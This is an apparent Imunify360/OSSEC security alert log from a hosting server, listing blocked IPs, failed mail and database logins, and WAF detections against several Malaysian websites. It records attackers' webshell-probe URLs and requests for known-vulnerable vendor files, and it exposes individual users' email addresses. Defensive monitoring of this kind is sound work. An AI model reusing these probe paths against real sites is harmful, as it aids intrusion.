IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.76 (KHTML, like Gecko) HeadlessChrome/107.0.5304.110 Safari/437.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 23:25:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-21 23:25:49 H=([91.92.240.254]) [91.92.240.254]:54929 F=<6-03-55495suffian@pspoly.com.my> rejected RCPT <6-03-55495suffian@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-21 23:29:31 H=([91.92.240.254]) [91.92.240.254]:62448 F=<suffian@pspoly.com.my> rejected RCPT <suffian@pspoly.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.224.184.69
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Caster/DOMCaster.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.209.138
country_id: 798544
description:
Jan 21 23:30:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.209.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 23:32:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.125
country_id: 6252001
description:
2026-01-21 23:33:21 496730 [Warning] Aborted connection 496730 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.125' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 138.84.112.229
country_id: 1694008
description:
2026-01-21 23:33:29 H=([138.84.112.229]) [138.84.112.229]:43519 F=<steven@oxbold.com> rejected RCPT <steven@oxbold.com>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.166
country_id: 6252001
description:
2026-01-21 23:33:54 496750 [Warning] Aborted connection 496750 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 138.84.112.229
country_id: 1694008
description:
2026-01-21 23:34:11 H=([138.84.112.229]) [138.84.112.229]:43470 F=<steven@oxbold.com> rejected RCPT <steven@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 23:35:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 138.84.112.229
country_id: 1694008
description:
2026-01-21 23:35:33 H=([138.84.112.229]) [138.84.112.229]:43364 F=<steven@oxbold.com> rejected RCPT <steven@oxbold.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 23:37:11 H=([45.144.212.242]) [45.144.212.242]:64133 F=<no_reply@admin.com> rejected RCPT <shahzila@chs.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.224.237.151
country_id: 102358
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/src/ManifestSerializer.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.98.99.118
country_id: 3077311
description:
Jan 21 23:40:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.98.99.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.98.99.118
country_id: 3077311
description:
Jan 21 23:40:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.98.99.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.95.54.132
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/photos/img/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 23:42:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 23:46:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.208.227
country_id: 2542007
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/often/11/22/1158245 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.64.216.16
country_id: 2363686
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/05featuredemo.inc.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 23:48:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.118.225
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-53.89.110.118.225||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/img/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 23:55:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.24.202.154
country_id: 798544
description:
Jan 21 23:59:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.24.202.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 00:00:41 H=([45.144.212.242]) [45.144.212.242]:56688 F=<no_reply@admin.com> rejected RCPT <stacy@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/img/article.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 22 00:02:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/testimonial.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.228
country_id: 6252001
description:
Jan 22 00:04:11 sv3 pure-ftpd[3523210]: (?@198.235.24.228) [INFO] New connection from 198.235.24.228


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 00:05:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 22 00:07:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.203.231.220
country_id: 2464461
description:
Jan 22 00:10:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.203.231.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-22 00:10:03 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:52232: 535 Incorrect authentication data (set_id=nurhidayati@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.179.116.149
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.181.106.175
country_id: 1269750
domain: ocned.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/ocned.com/page.php?i=Industrial_Leachate_Wastewater_Treatment_Plant HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.67
country_id: 3175395
description:
Jan 22 00:13:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 00:13:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 22 00:14:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 22 00:16:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.7.1
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=193141 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.36
country_id: 732800
description:
Jan 22 00:17:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.36
country_id: 732800
description:
Jan 22 00:18:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/m.me/images/csr.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 22 00:18:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.24.202.132
country_id: 798544
description:
Jan 22 00:18:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.24.202.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
country_id: 337996
description:
2026-01-22 00:19:19 dovecot_login authenticator failed for H=([196.189.124.218]) [196.189.124.218]:34102: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.239.45.10
country_id: 1269750
description:
Jan 22 00:19:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.239.45.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.24.202.132
country_id: 798544
description:
Jan 22 00:19:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.24.202.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 22 00:19:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 00:19:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.124.218
country_id: 337996
description:
Jan 22 00:19:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.124.218 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.192.64.233
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32641514942088 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/enquiry.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 22 00:25:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.161
country_id: 6252001
description:
Jan 22 00:26:11 sv3 pure-ftpd[3536713]: (?@198.235.24.161) [INFO] New connection from 198.235.24.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.203.231.220
country_id: 2464461
description:
Jan 22 00:26:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.203.231.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-22 00:26:36 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:35032: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 00:27:10 H=([45.144.212.242]) [45.144.212.242]:65126 F=<no_reply@admin.com> rejected RCPT <teegh@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.145
country_id: 1269750
description:
Jan 22 00:28:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jan 22 00:28:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 22 00:28:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.171
country_id: 6290252
description:
Jan 22 00:29:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.243
country_id: 1814991
description:
Jan 22 00:29:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 00:29:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.171
country_id: 6290252
description:
Jan 22 00:29:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jan 22 00:30:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 66.94.107.177
country_id: 6252001
domain: krisfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.253
country_id: 1269750
description:
Jan 22 00:31:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.114.140.70
country_id: 3469034
description:
Jan 22 00:31:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.114.140.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.114.140.70
country_id: 3469034
description:
Jan 22 00:32:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.114.140.70 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.146
country_id: 6252001
description:
2026-01-22  0:33:11 498901 [Warning] Aborted connection 498901 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.146' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.220.76
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/young/19/720/1954521 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/interior.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.145.246.159
country_id: 6252001
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/15048eb174974c6a2bde877318c4.mov HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 152.32.189.134
country_id: 1819730
description:
Jan 22 00:37:20 sv3 pure-ftpd[3543154]: (?@152.32.189.134) [INFO] New connection from 152.32.189.134


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 00:38:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.121
country_id: 798544
description:
Jan 22 00:41:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.121
country_id: 798544
description:
Jan 22 00:41:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.206
country_id: 3469034
description:
Jan 22 00:42:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 00:42:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.96.138.105
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=150120 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 22 00:43:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 00:52:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 134.122.133.31
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:134.122.133.31||TA:134.122.133.31||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.229.60.231
country_id: 690791
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=52 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
